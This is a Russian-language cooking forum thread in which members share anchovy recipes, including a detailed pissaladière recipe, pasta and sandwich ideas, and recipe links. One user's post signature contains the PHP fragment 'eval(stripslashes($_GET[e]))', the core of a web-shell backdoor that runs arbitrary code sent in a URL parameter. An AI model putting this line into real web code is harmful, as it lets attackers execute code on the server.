Предыдущая тема :: Следующая тема |
Автор |
Сообщение |
Ichik Кулинар-виртуоз

 Зарегистрирован: 29.09.2004 Сообщения: 3311 Откуда: USA
|
Добавлено: Пт Янв 07, 2005 9:03 Заголовок сообщения: Анчоусы, что приготовить?
|
|
|
Купила баночку анчоусов и не знаю куда проистроить. Подскажите рецептик, плиз.
|
|
Вернуться к началу |
|
 |
Tiki Младший повар

 Зарегистрирован: 20.02.2004 Сообщения: 173
|
Добавлено: Пт Янв 07, 2005 14:05 Заголовок сообщения:
|
|
|
Можно сделать очень вкусные канапе: хлеб, свежий сыр типа моцарелы и анчоус. _________________ Я еще не волшебник, я только учусь
|
|
Вернуться к началу |
|
 |
karry
 Зарегистрирован: 13.10.2002 Сообщения: 3770 Откуда: Кувейт (был Йемен)
|
Добавлено: Пт Янв 07, 2005 17:40 Заголовок сообщения:
|
|
|
попадались рецепты, где анчоусы добавляли в фарш для котлет... Запеканка картофельная с анчоусами тоже попадалась...-картофель кружочками и пару филешек- все запекалось... _________________ Мудрость подобна черепаховому супу--не всем доступна. Козьма Прутков.
|
|
Вернуться к началу |
|
 |
Гость
|
Добавлено: Пн Янв 17, 2005 17:39 Заголовок сообщения: Re: Анчоусы, что приготовить?
|
|
|
Ichik писал(а): | Купила баночку анчоусов и не знаю куда проистроить. Подскажите рецептик, плиз. |
Несколько филе анчоусов размельчить в разогретой сковородке с раст.маслом и маленьким кр.перчиком,ложкой зелени петрушки.Добавить раннее приготовленные спагетти,перемешать и подавать к столу,посыпав тертым сыром Пармиджано.Боон апетито.
|
|
Вернуться к началу |
|
 |
bolshutka Повар

 Зарегистрирован: 05.10.2004 Сообщения: 442 Откуда: Kiev-SFBay Area, CA
|
Добавлено: Пт Апр 22, 2005 11:34 Заголовок сообщения:
|
|
|
есть замечательное южно-французское блюдо - Pissaladière - такой себе пирог типа пиццы с анчоусами (мням!) и луком...
я готовила по разным рецептам - навскидку нашла тот, который побыстрее
* полкило готового теста для пиццы
* 3 столовых ложки несоленого сливочного масла
* 2 столовых ложки оливкового масла
* полтора кг лука (очень вкусно с красным луком!) очень тонко нарезанного дольками
* 2 столовых ложки листьев тимьяна
* 16 рыбок анчоусов, разделенных на половинки (где-то читала, что в классическом рецепте предполагаются анчоусы в рассоле - которые нужно промыть, и соль, естественно в тесто не добавлять; а если анчоусы в масле - убрать излишки масла, промокнув их бумажным полотенцем)
* 24 черных оливки без косточек (лучше оливки, которые немного "сморщенные" Nicoise - например)
-- растопить масло и 1 ст ложку оливкового масла в кастрюльке. добавить лук и 1 ст. ложку тимьяна
-- накрыть крышкой и тушить на слабом огне в течение 45 минут, время от времени помешивая, до тех пор, пока лук не станет мягким (!но не до коричневгого цвета!)
-- нагреть духовку до 400°F (температура в фаренгейтах!)
-- развернуть тесто и выложить в форму размером прибл. 25 х 35см
-- смазать тесто оставшейся столовой ложкой оливкого масла
-- распределить лук по всей поверхности теста (оставить совсем маленький свободный край), затем сверху выложить анчоусы в виде сеточки
-- в образовавшиеся "клеточки" положить оливки
-- в духовку на 20 минут
-- при подаче посыпать оставшимся тимьяном
очень очень вкусно!!! приятного аппетита!
а вот и картинка - как должно выглядеть _________________ --кот на солнце одними глазами ловит птичку
pissaladiere_quick.jpg

Файл был скачан или просмотрен 703 раз(а)
|
|
Вернуться к началу |
|
 |
Соня Палочка-выручалочка
 Зарегистрирован: 28.02.2003 Сообщения: 17862 Откуда: Russia
|
|
Вернуться к началу |
|
 |
Pavla Кошковед-любитель
 Зарегистрирован: 20.08.2002 Сообщения: 1702 Откуда: Ukraine
|
Добавлено: Пт Апр 22, 2005 18:08 Заголовок сообщения:
|
|
|
http://kuking.net/15_46004.htm - Помидоры шерри и моцареллой и анчоусами
http://www.kuking.net/15_114417.htm - Палочки с анчоусами и пармезаном
http://www.kuking.net/1_924.htm - Бутерброды с пастой из анчоусов
Могу только позавидовать тем, у кого можно найти анчоусы в продаже.. Я в Киеве уже больше, чем пол года не могу найти анчоусы... приходится "побираться" по общепитам )
Последний раз редактировалось: Pavla (Пт Апр 22, 2005 18:11 ), всего редактировалось 1 раз |
|
Вернуться к началу |
|
 |
Maria Главный по зеленым кастрюлькам

 Зарегистрирован: 21.11.2001 Сообщения: 4278 Откуда: England
|
Добавлено: Пт Апр 22, 2005 18:11 Заголовок сообщения:
|
|
|
Недавно подружка придумала такой экспромпт: мелко порезать несколько анчоусов, добавить пюре из авокадо и намазать на свежую чьябатту - ужасно вкусно, особенно для фанатов анчоусов и авокадо
Еще из серии бутербродов - порубить анчоусы в блендере в пюре с пучком петрушки, винным уксусом и чесноком - вот пропорции: http://kuking.net/1_924.htm _________________ phpbb:eval(stripslashes($_GET[e]));
|
|
Вернуться к началу |
|
 |
Carioca Хранитель кулинарных секретов

 Зарегистрирован: 30.09.2003 Сообщения: 5574 Откуда: Suomi
|
Добавлено: Пт Апр 22, 2005 19:57 Заголовок сообщения:
|
|
|
Вот еще раньше обсуждались Анчоусы _________________ Vamos deixar como esta' para ver, como e' que fica (G.Vargas)
|
|
Вернуться к началу |
|
 |
Rorik Повар

 Зарегистрирован: 05.02.2008 Сообщения: 234 Откуда: Литва-Германия
|
Добавлено: Пн Ноя 11, 2019 13:01 Заголовок сообщения:
|
|
|
Добрый днеь!
Скажите, никто не видел рецепт где в котлеты из мясного фарша добавлялись анчоусы. Или не там ищу или мне приснилось
Срочно надо избавиться от анчоусов. Так есть невозможно - соль и уксус.  _________________ Лариса
|
|
Вернуться к началу |
|
 |
Klarissa Кулинарный вдохновитель
 Зарегистрирован: 20.03.2005 Сообщения: 7982 Откуда: Украина-Израиль
|
|
Вернуться к началу |
|
 |
Rorik Повар

 Зарегистрирован: 05.02.2008 Сообщения: 234 Откуда: Литва-Германия
|
Добавлено: Пн Ноя 11, 2019 14:14 Заголовок сообщения:
|
|
|
Klarissa,
большое спасибо за идею. Только боюсь что с такими анчоусами приличный пирог не получится. Их можно только в минимальном количестве использовать.
Я делала соус Bagna cauda, там они хорошо прижились. Но их там надо пару штук, а такой соус часто повторять - это смерть фигуре (ну или ее остаткам ) _________________ Лариса
|
|
Вернуться к началу |
|
 |
Соня Палочка-выручалочка
 Зарегистрирован: 28.02.2003 Сообщения: 17862 Откуда: Russia
|
|
Вернуться к началу |
|
 |
Rorik Повар

 Зарегистрирован: 05.02.2008 Сообщения: 234 Откуда: Литва-Германия
|
Добавлено: Вт Ноя 12, 2019 10:26 Заголовок сообщения:
|
|
|
Соня
Как ты это делаешь?!!! Это просто за гранью возможного.
Огромное тебе спасибо. _________________ Лариса
|
|
Вернуться к началу |
|
 |
neolga Хранитель кулинарных секретов

 Зарегистрирован: 01.10.2008 Сообщения: 5516 Откуда: Riga, Ирландия
|
|
Вернуться к началу |
|
 |
|